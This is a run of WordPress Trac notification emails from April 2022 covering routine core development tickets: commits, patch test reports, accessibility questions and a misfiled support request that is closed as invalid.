Emoji | Version: Severity: normal | Resolution: Keywords: needs-codex | Focuses: ----------------------------+----------------------- Changes (by milana_cap): * keywords: => needs-codex -- Ticket URL: <https://core.trac.wordpress.org/ticket/55395#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 14:27:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 14:27:45 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.22d7325b86f982dc13d917d2d998f162@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53117" 53117]: {{{ #!CommitTicketReference repository="" revision="53117" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/class-wp-site-health.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$class` parameter to `$class_name` in `WP_Site_Health::test_php_extension_availability()`. * Renames some other parameters for consistency. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 16:00:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 16:00:33 -0000 Subject: [wp-trac] [WordPress Trac] #55551: WP FANZONE Message-ID: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> #55551: WP FANZONE --------------------------------------------+----------------------------- Reporter: garytexas | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 3.2 Severity: critical | Keywords: 2nd-opinion Focuses: docs, administration, template | --------------------------------------------+----------------------------- My website "bullseyesports.com" is TOTALLY down. It has been down for weeks! My guess is that it is from a bug in an update(s). Any help in getting this site: bullseyesports.com, up-and-running again is very much apprecited. Gary -- Ticket URL: <https://core.trac.wordpress.org/ticket/55551> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 16:04:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 16:04:37 -0000 Subject: [wp-trac] [WordPress Trac] #55551: WP FANZONE In-Reply-To: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> References: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> Message-ID: <068.01eea508b3c88f0edd2e07589ac5e462@wordpress.org> #55551: WP FANZONE --------------------------+--------------------------------------------- Reporter: garytexas | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 3.2 Severity: critical | Resolution: Keywords: 2nd-opinion | Focuses: docs, administration, template --------------------------+--------------------------------------------- Changes (by garytexas): * Attachment "wp-fanzone.3.2.zip" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55551> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 16:14:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 16:14:10 -0000 Subject: [wp-trac] [WordPress Trac] #55551: WP FANZONE In-Reply-To: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> References: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> Message-ID: <068.7d513480218932ede7d46959f7a0f364@wordpress.org> #55551: WP FANZONE --------------------------+--------------------------------------------- Reporter: garytexas | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: 3.2 Severity: normal | Resolution: invalid Keywords: close | Focuses: docs, administration, template --------------------------+--------------------------------------------- Changes (by Presskopp): * keywords: 2nd-opinion => close * status: new => closed * resolution: => invalid * severity: critical => normal Comment: Hi @garytexas , welcome to Trac! Sorry to hear that you're having trouble with your website. Trac is for the development of WordPress Core rather than providing WordPress support. You will get some help on the [https://wordpress.org/support/ support forums]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55551#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 19:39:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 19:39:26 -0000 Subject: [wp-trac] [WordPress Trac] #54437: Warning not in bold? In-Reply-To: <053.79ef35713d160dce241eff046fd87735@wordpress.org> References: <053.79ef35713d160dce241eff046fd87735@wordpress.org> Message-ID: <068.497d93257a9a9ba0202c960de8dbdbcf@wordpress.org> #54437: Warning not in bold? -------------------------------------+------------------------------------- Reporter: NekoJonez | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: trivial | Resolution: Keywords: good-first-bug has- | Focuses: ui, administration, patch commit assigned-for-commit | template, coding-standards -------------------------------------+------------------------------------- Changes (by audrasjb): * keywords: good-first-bug has-patch => good-first-bug has-patch commit assigned-for-commit Comment: ''We reviewed this patch during WordCamp Geneva 2022’s contribution workshop.'' The above PR was meant to test the provided patch. Looks like tests are passing. Self assigning for `commit`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54437#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 19:45:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 19:45:54 -0000 Subject: [wp-trac] [WordPress Trac] #54437: Warning not in bold? In-Reply-To: <053.79ef35713d160dce241eff046fd87735@wordpress.org> References: <053.79ef35713d160dce241eff046fd87735@wordpress.org> Message-ID: <068.fee329bd40f3995d256808acc1537365@wordpress.org> #54437: Warning not in bold? -------------------------------------+------------------------------------- Reporter: NekoJonez | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: General | Version: Severity: trivial | Resolution: fixed Keywords: good-first-bug has- | Focuses: ui, administration, patch commit assigned-for-commit | template, coding-standards -------------------------------------+------------------------------------- Changes (by audrasjb): * owner: (none) => audrasjb * status: new => closed * resolution: => fixed Comment: In [changeset:"53118" 53118]: {{{ #!CommitTicketReference repository="" revision="53118" General: add missing `strong` tag to some error messages. Props NekoJonez, oakesjosh. Fixes #54437. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54437#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 19:47:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 19:47:12 -0000 Subject: [wp-trac] [WordPress Trac] #55552: Status of skip-link bugs unclear Message-ID: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> #55552: Status of skip-link bugs unclear ---------------------------------------+----------------------------- Reporter: Clarus Dignus | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: accessibility, javascript | ---------------------------------------+----------------------------- == Core Relevance Skip-links are part of WordPress core. See [https://developer.wordpress.org/reference/functions/the_block_template_skip_link/ the_block_template_skip_link()] in [https://github.com/WordPress/WordPress/blob/master/wp-includes/theme- templates.php /wp-includes/block-template.php]. == Bug Description [In versions of IE and Chrome:] "While the visual focus of the browser shifts to the element being linked to, the input focus stays where it was. For example, if I press tab and then enter on a “skip to content” link, the browser will scroll down to that element so I can read the content. If I then press tab again, the input focus moves to the next focusable element after the “skip to content” link, not to the next link in the content area." — https://humanwhocodes.com/blog/2013/01/15/fixing-skip-to-content-links/ == Solutions WordPress.org recommends twentynineteen_skip_link_focus_fix() but it seems to only apply to IE 11, not previous IE versions or Chrome versions: https://make.wordpress.org/themes/2019/07/14/how-to-add-and-test-skip- links/ The Underscores starter theme incorporated a similar fix that seems to more broadly fix IE and Chrome: https://github.com/Automattic/_s/pull/136 https://github.com/Automattic/_s/pull/139/files == Status Questions Is the skip-link fix part of WordPress core? If so, what browsers and browser versions does it fix? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55552> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 19:49:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 19:49:06 -0000 Subject: [wp-trac] [WordPress Trac] #55552: Status of skip-link bug unclear (was: Status of skip-link bugs unclear) In-Reply-To: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> References: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> Message-ID: <072.cd80f4051ee536b8554671935653f590@wordpress.org> #55552: Status of skip-link bug unclear ---------------------------+---------------------------------------- Reporter: Clarus Dignus | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: accessibility, javascript ---------------------------+---------------------------------------- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55552#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 19:54:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 19:54:22 -0000 Subject: [wp-trac] [WordPress Trac] #54572: Add a function for updating the existing role instead of removing, then adding one In-Reply-To: <056.b2c66fa027339f31f120bd3712e73851@wordpress.org> References: <056.b2c66fa027339f31f120bd3712e73851@wordpress.org> Message-ID: <071.eb1ad40d10a6bd5d538ed5dd0101943a@wordpress.org> #54572: Add a function for updating the existing role instead of removing, then adding one -------------------------------------------------+------------------------- Reporter: maksimkuzmin | Owner: (none) Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Role/Capability | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Comment (by NomNom99): == Test Report === Environment **WordPress**: 6.0-alpha-52448-src **Browser**: Chrome, version 100.0.4896.75 (Official Build) (x86_64) **Operating System**: macOS Big Sur 11.6 === Steps to test 1. Clone WordPress-develop using `git at github.com:WordPress/wordpress- develop.git` 2. Setup WordPress using [https://github.com/WordPress/wordpress-develop #to-start-the-development-environment-for-the-first-time this instruction] 3. Pull the changes of this patch using the command `npm run grunt patch:54572` 4. Open the `functions.php` file of the active theme. 5. Copy-paste the following snippet in the `functions.php` file. {{{ function ticket_54572() { add_role( 'school_staff', 'Teacher', get_role( 'contributor' )->capabilities ); } add_action( 'init', 'ticket_54572' ); }}} This will add a `Teacher` role with capabilities of a Contributor. 6. Reload WordPress as admin and add a new user with the `Teacher` role. 7. Replace the above copy-pasted with the following: {{{ function ticket_54572() { update_role( 'school_staff', 'Principal', get_role( 'administrator' )->capabilities ); } add_action( 'init', 'ticket_54572' ); }}} 8. Reload the WordPress site and observe that the name of the `school_staff` role is renamed from `Teacher` to `Principal` and the capabilities have changed from that of a Contributor to an Administrator. === Results - The patch is working as intended -- Ticket URL: <https://core.trac.wordpress.org/ticket/54572#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 19:58:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 19:58:52 -0000 Subject: [wp-trac] [WordPress Trac] #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination In-Reply-To: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> References: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> Message-ID: <072.3c8d4082a79bc076d982f9df6c2c64de@wordpress.org> #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination -------------------------------------+------------------------------------- Reporter: Ankit K Gupta | Owner: audrasjb Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ui, css, assigned-for-commit | administration -------------------------------------+------------------------------------- Changes (by audrasjb): * keywords: has-patch commit => has-patch commit assigned-for-commit * owner: (none) => audrasjb * status: new => accepted Comment: Looks good to me, thanks! -- Ticket URL: <https://core.trac.wordpress.org/ticket/54219#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 20:06:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 20:06:23 -0000 Subject: [wp-trac] [WordPress Trac] #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination In-Reply-To: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> References: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> Message-ID: <072.f76a4e523a46f1bf4fa6eefb169fcaa0@wordpress.org> #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination -------------------------------------+------------------------------------- Reporter: Ankit K Gupta | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: ui, css, assigned-for-commit | administration -------------------------------------+------------------------------------- Changes (by audrasjb): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53119" 53119]: {{{ #!CommitTicketReference repository="" revision="53119" Administration: Improved padding for pagination setting fields. This changes improves paddings for the "Number of items per page" field available on list screens. Props ankit-k-gupta, aezazshekh, mukesh27, sabernhardt, mehedi890. Fixes #54219. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54219#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 20:11:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 20:11:53 -0000 Subject: [wp-trac] [WordPress Trac] #55552: Status of skip-link bug unclear In-Reply-To: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> References: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> Message-ID: <072.24bc6cbde998de60ecd4e9704f12ef32@wordpress.org> #55552: Status of skip-link bug unclear ---------------------------+---------------------------------------- Reporter: Clarus Dignus | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: accessibility, javascript ---------------------------+---------------------------------------- Comment (by Clarus Dignus): It was decided a few weeks ago that the skip-link focus fix won't be deprecated in the core themes (Twenty Thirteen to Twenty Twenty-One): https://core.trac.wordpress.org/ticket/54421 The ticket was closed as {{{wontfix}}}. It's not clear to me if the fix is now being handled by core, Twenty- Twenty Two, both, or neither. If I'm creating a block theme from scratch using FSE, do I need to add an action to my functions.php to apply the fix? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55552#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 20:26:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 20:26:46 -0000 Subject: [wp-trac] [WordPress Trac] #53115: Twenty Twenty: number inputs have too much padding In-Reply-To: <058.91e6ff0735e7e5ad214924238f7ad1a6@wordpress.org> References: <058.91e6ff0735e7e5ad214924238f7ad1a6@wordpress.org> Message-ID: <073.bf6fbcdc2f8cd390dd1da82e43e39103@wordpress.org> #53115: Twenty Twenty: number inputs have too much padding --------------------------------------------------+----------------------- Reporter: helgatheviking | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: css --------------------------------------------------+----------------------- Changes (by audrasjb): * keywords: has-patch commit => has-patch commit assigned-for-commit Comment: Since tests look good, let's commit this right now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53115#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 20:34:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 20:34:36 -0000 Subject: [wp-trac] [WordPress Trac] #53115: Twenty Twenty: number inputs have too much padding In-Reply-To: <058.91e6ff0735e7e5ad214924238f7ad1a6@wordpress.org> References: <058.91e6ff0735e7e5ad214924238f7ad1a6@wordpress.org> Message-ID: <073.ee8dc7824c65d3cf47954e0ae6b9ae78@wordpress.org> #53115: Twenty Twenty: number inputs have too much padding --------------------------------------------------+----------------------- Reporter: helgatheviking | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: css --------------------------------------------------+----------------------- Changes (by audrasjb): * owner: (none) => audrasjb * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53120" 53120]: {{{ #!CommitTicketReference repository="" revision="53120" Twenty Twenty: Improve padding for `number` input type. This changes improves lateral padding for `number` input types in Twenty Twenty bundled theme. Props helgatheviking, sabernhardt, chaion07, poena, justinahinon, ugyensupport, nayana123. Fixes #53115. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53115#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 20:51:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 20:51:13 -0000 Subject: [wp-trac] [WordPress Trac] #6479: Encourage people to change default tagline In-Reply-To: <055.e530d469b6d3d46c70a1707e6bd1ead0@wordpress.org> References: <055.e530d469b6d3d46c70a1707e6bd1ead0@wordpress.org> Message-ID: <070.afcc9c4b247a0091c116319af49d200a@wordpress.org> #6479: Encourage people to change default tagline -------------------------------------------------+------------------------- Reporter: markjaquith | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: 2.5 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: refresh needs-codex | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch needs-testing needs-unit-tests needs-refresh needs- codex => has-patch needs-unit-tests needs-refresh needs-codex * owner: (none) => audrasjb * status: assigned => reviewing Comment: Thanks @costdev for taking care of this! Self-assigning to make sure it's handled in time for beta 1. A new PR would be very appreciated, but if you don't have the time to work on it, let me know :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/6479#comment:43> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 21:17:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 21:17:41 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.8437a68669df7a78cb6dc5ee947b6e9d@wordpress.org> #46057: Remove self-references ("we") in text in core ----------------------------+------------------------ Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch | Focuses: ui-copy ----------------------------+------------------------ Changes (by audrasjb): * keywords: has-patch needs-refresh => has-patch * owner: johnjamesjacoby => audrasjb * status: reopened => reviewing Comment: PR refreshed against trunk. Should be ok now. Self assigning for final review and, hopefully, commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 21:20:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 21:20:20 -0000 Subject: [wp-trac] [WordPress Trac] #51383: PHP error body class added for suppressed errors In-Reply-To: <051.123698ccf50d6de1ce079cfd9386be12@wordpress.org> References: <051.123698ccf50d6de1ce079cfd9386be12@wordpress.org> Message-ID: <066.346bc4654909b6c276afb18d6afa232f@wordpress.org> #51383: PHP error body class added for suppressed errors -------------------------------------+----------------------------- Reporter: desrosj | Owner: hellofromTonya Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Comment (by audrasjb): @SergeyBiryukov @hellofromTonya The change works on my side, but it looks like you both wanted to have a second pair on eyes on this. Are you available to double check this PR? -- Ticket URL: <https://core.trac.wordpress.org/ticket/51383#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 21:22:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 21:22:46 -0000 Subject: [wp-trac] [WordPress Trac] #55553: update_blog_option should accept autoload parameter Message-ID: <049.947739431366515dd0600ec9211e1db8@wordpress.org> #55553: update_blog_option should accept autoload parameter ------------------------------------+----------------------------- Reporter: giuse | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Options, Meta APIs | Version: 5.9.3 Severity: normal | Keywords: dev-feedback Focuses: multisite, performance | ------------------------------------+----------------------------- The function update_blog_option doesn't accept any autoload parameter, even though it calls the function update_option that accepts an autoload parameter. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55553> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 22:21:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 22:21:33 -0000 Subject: [wp-trac] [WordPress Trac] #53589: Twenty Twenty One: Translation file loaded twice In-Reply-To: <050.fd27a9de8a8ccfd9c34a5214c2ee833a@wordpress.org> References: <050.fd27a9de8a8ccfd9c34a5214c2ee833a@wordpress.org> Message-ID: <065.b2f1ffdd8820d5daff8de3e55d64d1c3@wordpress.org> #53589: Twenty Twenty One: Translation file loaded twice -------------------------------------------------+------------------------- Reporter: Chouby | Owner: audrasjb Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch commit assigned-for- | Focuses: commit | performance -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch dev-feedback => has-patch commit assigned-for-commit * owner: (none) => audrasjb * status: new => accepted Comment: Looks good to me and tests are passing in the above PR. Self assigning for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53589#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 22:27:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 22:27:21 -0000 Subject: [wp-trac] [WordPress Trac] #53589: Twenty Twenty One: Translation file loaded twice In-Reply-To: <050.fd27a9de8a8ccfd9c34a5214c2ee833a@wordpress.org> References: <050.fd27a9de8a8ccfd9c34a5214c2ee833a@wordpress.org> Message-ID: <065.4e9dc57000c9308384c0e6b388070e89@wordpress.org> #53589: Twenty Twenty One: Translation file loaded twice -------------------------------------------------+------------------------- Reporter: Chouby | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for- | Focuses: commit | performance -------------------------------------------------+------------------------- Changes (by audrasjb): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53121" 53121]: {{{ #!CommitTicketReference repository="" revision="53121" Twenty Twenty One: Prevent loading translation file twice. This changes wraps the registration of patterns and pattern categories in a function hooked to `init`, to avoid loading the Twenty Twenty One translation file twice. Props zodiac1978, sabernhardt, audrasjb. Fixes #53589. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53589#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 22:29:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 22:29:00 -0000 Subject: [wp-trac] [WordPress Trac] #53589: Twenty Twenty One: Translation file loaded twice In-Reply-To: <050.fd27a9de8a8ccfd9c34a5214c2ee833a@wordpress.org> References: <050.fd27a9de8a8ccfd9c34a5214c2ee833a@wordpress.org> Message-ID: <065.b9567c3ce1c1b389c176a8594b58dbe1@wordpress.org> #53589: Twenty Twenty One: Translation file loaded twice -------------------------------------------------+------------------------- Reporter: Chouby | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for- | Focuses: commit | performance -------------------------------------------------+------------------------- Comment (by audrasjb): I forgot `chouby` in the props list, sorry. I added the props manually on the Make/Core manager. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53589#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 22:38:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 22:38:44 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.3f7add6526eb28a17f51558a59f8c59e@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by ramonopoly): > I've added a couple of code reviews. I'm not sure where to put them since relevant PRs have already been closed. I've added the covers annotation to block support tests for test coverage reports. Thank you! https://github.com/WordPress/wordpress-develop/pull/2554 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:70> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 00:50:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 00:50:48 -0000 Subject: [wp-trac] [WordPress Trac] #55321: Adding new themes in releases without a global theme auto-update setting renders installations insecure In-Reply-To: <057.da81e632b9250d96cb5eb1ff77566c9b@wordpress.org> References: <057.da81e632b9250d96cb5eb1ff77566c9b@wordpress.org> Message-ID: <072.32afcda9bc5f8e20fdc0d3c3878ce7c8@wordpress.org> #55321: Adding new themes in releases without a global theme auto-update setting renders installations insecure -----------------------------+----------------------------- Reporter: bertvandepoel | Owner: pbiron Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: | Focuses: ui -----------------------------+----------------------------- Changes (by peterwilsoncc): * keywords: reporter-feedback => * milestone: 6.0 => Future Release Comment: I'm moving this off the 6.0 milestone as I think it requires much more discussion than the time frame allows. It's something that would need to be discussed in various make.wordpress.org teams: core, themes and probably others. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55321#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 01:18:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 01:18:11 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.c64c56dda2a3faf62b7ebc99765abc9c@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js ----------------------------------+---------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Comment (by peterwilsoncc): Replying to [comment:20 joedolson]: > For the record, I think that the tests failure is in some way related to changing the shape of the AJAX response, and that leaving the parameter in the response is the best solution here, but I can't find a definite answer to that in the unit tests. I agree, removing it is an unnecessary backward compatibility break that may affect more than WordPress Core. Changing the shape by removing the data ought to happen on a dedicated ticket. Given `data` needs to remain, I'd be inclined to leave it out of `supplemental` for now. If the variable is to be renamed, I suggest `noticeMessage` for both observing coding standards and clarity. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 01:31:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 01:31:15 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.7283068e537ff0a7690bab72f12f461f@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js -------------------------------------+------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: accessibility, commit | javascript -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing => has-patch needs-testing commit Comment: Replying to [comment:21 peterwilsoncc]: > Given `data` needs to remain, I'd be inclined to leave it out of `supplemental` for now. 